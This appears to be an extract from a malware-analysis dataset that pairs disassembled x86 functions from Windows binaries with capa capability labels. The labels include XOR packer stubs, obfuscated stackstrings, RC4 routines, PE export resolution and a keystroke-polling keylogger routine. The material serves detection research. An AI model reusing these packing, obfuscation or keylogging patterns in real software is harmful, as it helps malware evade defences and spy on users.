joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49d000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push eax
push ecx
push edx
push ebx
push ebp
push esi
push edi
call 0x49d00c
pop edx
sub edx, 0x8d00c
mov ecx, 0
push edx

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x10001039
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov al, al
xor ebp, dword [esp + 0x14]
xor ebp, eax
ror ebp, cl
shr ebp, cl
mov ebp, esp
sub esp, 0x10
xchg ecx, ecx
push ebx
mov ecx, ecx
push edi
nop
call fcn.10001399
nop
or eax, dword [esp]
mov eax, ebp
and eax, 0x6779212d
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
nop
jmp 0x1000152c
or al, 0x2f
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
mov esi, esi
je 0x100023d4
inc dword [ebp - 4]
mov cl, cl
jmp 0x100023b1
mov ebx, 0x56f02c98
shl bl, cl
mov ebx, dword [eax + 0x1c]
mov eax, dword [eax + 0x18]
mov ax, ax
add edi, esi
xchg eax, eax
add ecx, esi
mov ax, ax
add ebx, esi
xchg ebx, ebx
jmp 0x10001a78
and dword [ebp - 4], 0
nop
add eax, esi
push esi
pop esi
shl edi, cl
ror edi, cl
add edi, 0x61b8585b
mov edi, dword [eax + 0x24]
and cl, 0xe8
sub cl, bl
mov ecx, dword [eax + 0x20]
jmp 0x100013d7
test eax, eax
jmp 0x10001a9d
mov dword [ebp - 0x10], eax
jmp 0x10001aaf
jle 0x100023cb
shl al, cl
mov al, dl
mov eax, dword [ebp - 4]
mov edx, dword [ecx + eax*4]
mov edx, edx
and dword [ebp - 0xc], 0
xchg bl, bl
add edx, esi
xchg edx, edx
mov al, byte [edx]
xchg cx, cx
jmp 0x10001dca
test al, al
jmp 0x10001dec
jmp 0x100020c0
je 0x100011e6
mov dword [ebp - 8], edx
push edx
pop edx
mov dl, 0x30
and edx, 0x59354a2f
and dx, cx
inc dl
add dx, 0x4c16
mov edx, dword [ebp - 0xc]
movsx eax, al
jmp 0x100020ff
rol edx, 3
jmp 0x10002116
xor edx, eax
xchg edx, edx
inc dword [ebp - 8]
xchg ax, ax
jmp 0x100021ad
shr eax, cl
add ax, dx
or eax, dword [esp]
sub al, dl
ror eax, cl
mov eax, dword [ebp - 8]
mov al, byte [eax]
xchg al, al
test al, al
jmp 0x100021d7
mov dword [ebp - 0xc], edx
jmp 0x100021e9
jne 0x100020cb
jmp 0x100011e6
add ax, 0x690e
and al, 0x8e
sub eax, ebp
shr eax, cl
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x10]
mov dl, dl
jl 0x10001ab5
xor eax, eax
nop
jmp 0x10002486
dec ax
or eax, esp
mov eax, dword [ebp - 4]
movzx eax, word [edi + eax*2]
jmp 0x100023f4
jmp 0x1000247d
mov eax, dword [ebx + eax*4]
push ecx
pop ecx
add eax, esi
nop
sub edi, 0x268c4f01
sub edi, esi
xor edi, ebx
pop edi
add bl, dl
sub bl, 0x7c
pop ebx
leave
jmp 0x100024a7
ret
Function at 0x10001399
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov bx, bx
shl ebp, cl
and ebp, 0x47ee379e
shl ebp, cl
mov ebp, esp
sub esp, 0x24
mov eax, eax
lea eax, [ebp - 0x24]
jmp 0x100013c6
push eax
xchg cl, cl
mov dword [ebp - 0x20], 0x7b
xchg eax, eax
jmp 0x10001420
push dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor al, 0xaf
push edx
add al, 0x89
and ax, 0x6a70
sub eax, 0x68443227
xor eax, 0x382761c9
inc ax
add al, 0x7b
add al, al
mov eax, 0
add eax, 0x13
mov edx, ebp
and edx, dword [esp + 4]
add edx, 0xab95b90
xor dx, bx
add edx, ecx
dec eax
test eax, eax
jne 0x10001450
pop edx
pop eax
call eax
xchg ax, ax
cmp dword [ebp - 0x20], 0x7b
nop
jne 0x1000148c
sub esp, 0xc
xchg esi, esi
ret
push 0x7e
jmp 0x10001496
xor dword [esp], 0x7e
jmp 0x10001595
push dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
or al, 0x17
sub eax, dword [esp + 0x10]
push ecx
add eax, dword [esp + 0x24]
or eax, eax
or ax, 0x1c24
mov eax, 0x20
or cx, 0x13cb
sub cx, dx
rol cx, cl
dec eax
test eax, eax
jne 0x100015b3
pop ecx
pop eax
call eax
nop
test eax, eax
jmp 0x100015df
je 0x10001608
xor esp, 7
nop
ret
push 0x69
jmp 0x10001612
xor dword [esp], 0x69
jmp 0x1000189b
push dword [sym.imp.comdlg32.dll_PrintDlgExA]
and eax, esi
inc al
add eax, ecx
rol eax, cl
push ebx
xor ax, 0
shl eax, cl
mov ax, 0x73ff
rol al, cl
xor eax, dword [esp + 8]
xor ax, 0x3504
rol al, cl
mov eax, edx
and eax, 0
add eax, 0x26
xor ebx, 0x3e0799
dec eax
test eax, eax
jne 0x100018cd
pop ebx
pop eax
call eax
nop
test eax, eax
jmp 0x100018ef
jne 0x10001912
sub esp, 4
mov dx, dx
ret
push 1
jmp 0x10001926
xor dword [esp], 0x14
push dword [sym.imp.USER32.dll_GetSystemMetrics]
ror eax, cl
dec ax
push edx
dec al
add eax, 0x7f7366ef
sub al, al
xor eax, dword [esp + 0x18]
or ax, dx
dec eax
and eax, 0
add eax, 0x25
dec edx
or dx, cx
xor edx, dword [esp + 0xc]
dec eax
test eax, eax
jne 0x10001953
pop edx
pop eax
call eax
mov esi, esi
cmp eax, 2
xchg ax, ax
jmp 0x10001c88
jge 0x10001ee3
xor esp, 7
xchg ax, ax
ret
push 0xf
jmp 0x10001ef0
sub dword [esp], 0xc
push 5
jmp 0x10001f00
xor dword [esp], 9
push dword [sym.imp.GDI32.dll_SelectClipPath]
ror ax, cl
and al, bl
sub eax, dword [esp + 0x10]
push edx
shr eax, cl
or ax, 0x620d
xor eax, 0x7faa2778
and ax, 0x7911
mov eax, 0x1d
sub dl, 0x27
sub edx, 0x3bf54df5
sub dx, 0xefd
dec eax
test eax, eax
jne 0x10001f2e
pop edx
pop eax
call eax
xchg ax, ax
test eax, eax
jmp 0x10001f63
je 0x10001f81
sub esp, 4
xchg cl, cl
ret
leave
jmp 0x10001f9f
ret
Function at 0x409f19
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x70
mov eax, dword [ebp + 8]
add eax, dword [ecx + 0x60]
mov word [esp + 0x10], 0xabad
mov byte [esp + 0x12], 0xb2
mov dl, 0xc7
inc esp
and al, 0x13
add byte [eax], al
add byte [eax], al
mov dword [esp + 0x17], 0
mov dword [esp + 0x1b], 0
mov dword [esp + 8], 0
mov edx, dword [esp + 8]
or dword [esi], 4
jmp 0x409fbd
push ds
mov dword [esp + 0xc], 0x691e
and al, 0xc
push ds
imul eax, dword [eax], 0x2404c700
add byte [eax], al
add byte [eax], al
mov edx, dword [esp]
cmp edx, 7
ja 0x40a012
mov edx, dword [esp]
mov esi, dword [esp]
movzx esi, byte [esp + esi + 8]
lea edi, [edx + esi]
xor al, byte [ecx + 0x7847d2c7]
cmpsb byte [esi], byte es:[edi]
or byte [edx - 0x3d], dh
mov dword [esp + 0x20], 0x56506c6d
insb byte es:[edi], dx
push eax
push esi
mov dword [esp + 0x24], 0x5252607c
mov dword [esp + 0x28], 0x4fbab07d
mov dword [esp + 0x2c], 0x4ab74eb3
sub al, 0xb3
dec esi
mov bh, 0x4a

Function at 0x40a362
Capabilities:
Encrypt data using rc4 prga

Disassembly:
nop
dec ebp
cmp byte [ecx + 0x1ca216d], ah
enter 0x4d05, 0x38
mov eax, dword [0x29d2016d]
ror byte [ecx - 0x74e7dbbc], 1
inc esp
and al, 0x18
lds esi, [edi + 0x2444c7bd]
xor al, 0xc6
jp 0x40a2fc
mov esp, 0x382444c7
ret

Function at 0x40a644
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
cmp byte [eax], 0x13

Function at 0x40a64d
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
lodsd eax, dword [esi]
in al, 0xf8
sub esp, 0xf0
cmp dword [ecx + 0x20], 0
je 0x40a6ae
mov esi, ecx
movzx eax, byte [ecx]
mov byte [esp + 0xb], 0
enter 0x1feb, 0xffffffffffffffb3
add ecx, ebp
push cs
Function at 0x43e110
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword [esi + 4]
mov edx, dword [esi + 4]
push esi
add al, 0xf
mov dh, 0x7c
push ss
or byte [ebp + 0x39441891], cl
push esp
push esi
add al, 0xf
mov dh, 0x7c
push ss
or byte [ebp + 0x39441891], cl
push esp
add ecx, 0x18
or ecx, edx
and ecx, edi
or edx, edi
sub edx, ecx
mov dword [esi], edx
mov ecx, dword [esi]
add cl, 0x58
mov edx, dword [esi + 4]
mov byte [esi + edx + 8], cl
inc dword [esi + 4]
mov ecx, dword [esi + 4]
dec esi
add al, 0x83
stc
or esi, dword [edx - 0x35]
mov ecx, dword [esi + 8]
mov edx, dword [0x449c88]
test edx, edx
je 0x43e169
xor eax, esi
loopne 0x43e176
mov bh, 0x8b
sbb eax, 0x449c8c
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x39b6b3f4
je 0x43e164
inc edi
cmp edx, edi
jne 0x43e135
jmp 0x43e16c
mov edx, dword [esi + ecx + 4]
jmp 0x43e1e5
jnp 0x43e16f
cmp edx, ecx
jne 0x43e1d4
retf 0x6575
not ecx
shr ecx, 0x1f
jmp dword [ecx*4 + 0x447dc8]
invalid
nop
pushfd
inc esp
add bl, ch
xor ch, byte [edx + 2]
push 0
push 2
push dword [esi + 0x30]
push 0
push 0
push 0
push dword [esi + 0x24]
push 0xffffffffffffffff
push eax
push 0xa

Function at 0x43e111
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword [esi + 4]
mov edx, dword [esi + 4]
push esi
add al, 0xf
mov dh, 0x7c
push ss
or byte [ebp + 0x39441891], cl
push esp
push esi
add al, 0xf
mov dh, 0x7c
push ss
or byte [ebp + 0x39441891], cl
push esp
add ecx, 0x18
or ecx, edx
and ecx, edi
or edx, edi
sub edx, ecx
mov dword [esi], edx
mov ecx, dword [esi]
add cl, 0x58
mov edx, dword [esi + 4]
mov byte [esi + edx + 8], cl
inc dword [esi + 4]
mov ecx, dword [esi + 4]
dec esi
add al, 0x83
stc
or esi, dword [edx - 0x35]
mov ecx, dword [esi + 8]
mov edx, dword [0x449c88]
test edx, edx
je 0x43e169
xor eax, esi
loopne 0x43e176
mov bh, 0x8b
sbb eax, 0x449c8c
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x39b6b3f4
je 0x43e164
inc edi
cmp edx, edi
jne 0x43e135
jmp 0x43e16c
mov edx, dword [esi + ecx + 4]
jmp 0x43e1e5
jnp 0x43e16f
cmp edx, ecx
jne 0x43e1d4
retf 0x6575
not ecx
shr ecx, 0x1f
jmp dword [ecx*4 + 0x447dc8]
invalid
nop
pushfd
inc esp
add bl, ch
xor ch, byte [edx + 2]
push 0
push 2
push dword [esi + 0x30]
push 0
push 0
push 0
push dword [esi + 0x24]
push 0xffffffffffffffff
push eax
push 0xa
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408e84
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3f814680
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6f9e179d
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x2563547
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x216e1299
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x710c67
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x7109ec
or esi, edi
call fcn.00710c93
or esi, esi
sub edi, edi
xor dword [ecx], eax
add esi, edi
add edi, 0x93e7bd2
inc ecx
mov esi, edi
cmp ecx, ebx
jne fcn.00710c67
sub edi, esi
add esi, 0x3b7d2f34
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x704b2f47
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7a6c50d4
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x71022fb2
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x379a386b
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1b24058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01b241a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1b2407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b2406a
add dl, dl
jne 0x1b24089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b240dc
xor eax, eax
add dl, dl
jne 0x1b24096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b2417d
add dl, dl
jne 0x1b240a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b240b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b240bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b240c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1b240d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1b24075
mov eax, 1
add dl, dl
jne 0x1b240ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b240f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b240e1
sub eax, ebx
mov ebx, 1
jne 0x1b24128
mov ecx, 1
add dl, dl
jne 0x1b2410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1b24119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b24105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b24075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1b2413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1b2414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b24136
cmp eax, 0x7d00
jae 0x1b2416d
cmp eax, 0x500
jb 0x1b24168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b24075
cmp eax, 0x7f
ja 0x1b24170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b24075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1b2419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1b24075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10001060
Capabilities:
Create thread
Log keystrokes via polling
Read file via mapping
Terminate thread

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0xc]
push 0
push 0
push 0
push 6
push edi
mov dword [0x10005380], 0xcc
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
mov dword [0x10005384], eax
jne 0x10001090
mov eax, 0xc9
pop edi
pop ecx
ret
cmp dword [esp + 0x10], 4
jae 0x100010ad
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xcb
pop edi
pop ecx
ret
mov eax, dword [0x10005390]
test eax, eax
jne 0x100010d2
push 0x10005040
push 0x10005030
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10005390], eax
mov eax, dword [esp + 0x18]
push 4
push eax
mov dword [0x10005388], eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x10001103
mov eax, dword [0x10005384]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xe1
pop edi
pop ecx
ret
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0x10001020
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
mov dword [0x1000538c], eax
jne 0x10001140
mov edx, dword [0x10005384]
push edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xcd
pop edi
pop ecx
ret
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
xor esi, esi
test ebx, ebx
jbe 0x100011b2
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x11
call edi
test ax, ax
jge 0x1000116b
push 0x7b
call edi
test ax, ax
jl 0x10001180
mov eax, dword [0x1000538c]
push 0x32
push eax
call ebp
test eax, eax
je 0x10001198
inc esi
cmp esi, ebx
jb 0x10001159
jmp 0x100011ae
mov ecx, dword [0x1000538c]
push 0xd3
mov dword [0x10005380], 0xd3
push ecx
jmp 0x100011a4
mov edx, dword [0x1000538c]
push 0xce
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp esi, ebx
jb 0x100011cf
mov edi, dword [esp + 0x18]
mov eax, dword [0x1000538c]
push 0xd5
push eax
mov dword [0x10005380], 0xd5
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x100011d3
mov edi, dword [esp + 0x18]
mov ecx, dword [0x10005384]
push ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10005380]
pop esi
pop ebp
pop ebx
pop edi
pop ecx
ret
Function at 0x10001d24
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x10005080
cmp edx, dword [eax]
je 0x10001d46
add eax, 8
inc ecx
cmp eax, 0x10005110
jl 0x10001d37
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x10005080]
jne 0x10001e74
mov eax, dword [0x100053a0]
cmp eax, 1
je 0x10001e4e
test eax, eax
jne 0x10001d77
cmp dword [0x100053a4], 1
je 0x10001e4e
cmp edx, 0xfc
je 0x10001e74
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10001dae
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.100020f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.100021e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x10001df1
lea eax, [ebp - 0x1a4]
push eax
call fcn.100021e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x100043ac
push edi
call fcn.10003260
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.100020f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.10002100
lea eax, [ebp - 0xa0]
push 0x1000438c
push eax
call fcn.10002100
push dword [esi + 0x10005084]
lea eax, [ebp - 0xa0]
push eax
call fcn.10002100
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.100031ce
add esp, 0x2c
pop edi
jmp 0x10001e74
lea eax, [ebp + 8]
lea esi, [esi + 0x10005084]
push 0
push eax
push dword [esi]
call fcn.100021e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x4073e2
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461134], 0
jne 0x407420
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4073f6
mov dword [ecx*4 + 0x461130], eax
inc ecx
cmp ecx, 0x100
jl 0x4073f1
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x40744d
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461130]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x40742e
not eax
pop ebp
ret 0xc

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x74fb2428
nop
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
mov ecx, 0x406431b3
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219